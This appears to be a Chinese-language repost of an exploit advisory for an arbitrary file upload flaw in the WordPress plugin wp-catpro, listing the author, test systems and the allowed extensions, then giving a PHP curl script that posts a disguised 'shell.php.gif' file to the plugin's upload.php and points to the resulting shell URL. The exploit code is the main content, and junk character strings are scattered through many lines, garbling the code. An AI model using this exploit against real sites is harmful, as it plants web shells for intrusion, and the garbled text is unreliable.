WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------
3 K4 m$ c) H9 o; ]- q
作者  => Zikou-16
邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
! m0 a* |- {& Y" ~5 R9 [$ V下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####

$ o$ g# C: _+ N% Q$ I: S#=> Exploit 信息:
------------------
% R, W- S# {# v# 攻击者可以上传 file/shell.php.gif
8 R) I- ]( z0 ^: x1 @4 z% G8 v/ C# ("jpg", "gif", "png")  // Allowed file extensions
* }% o8 l  [, ?; D5 _8 j6 }% D# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
3 t" |/ D& z; R# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------
/ E, z9 e$ J6 ^" ?8 M, k; p) U! J
; Q6 Q$ a" C+ I7 t#=> Exploit
-----------
0 y9 p) l7 [6 }6 R- H: R" ^<?php

$uploadfile="zik.php.gif";
& O$ I7 x( X; \3 T/ C$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
4 p9 }8 L! N) l4 f1 Dcurl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
" _' M  @9 F. ]. _'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ |0 ], z- x5 s7 h& Z( s# O& B$postResult = curl_exec($ch);
curl_close($ch);
# P; Y: v8 a, V! V5 o( }6 z
/ o/ c$ z0 Z( \print "$postResult";

* p0 ]4 q7 K9 I. L) c1 }; ^& z6 sShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
0 R' }. Q3 P' Y  ?>
/ E, T1 |* c# z3 T- M<?php
phpinfo();
6 i+ q# w' A/ k7 [' `$ Y?>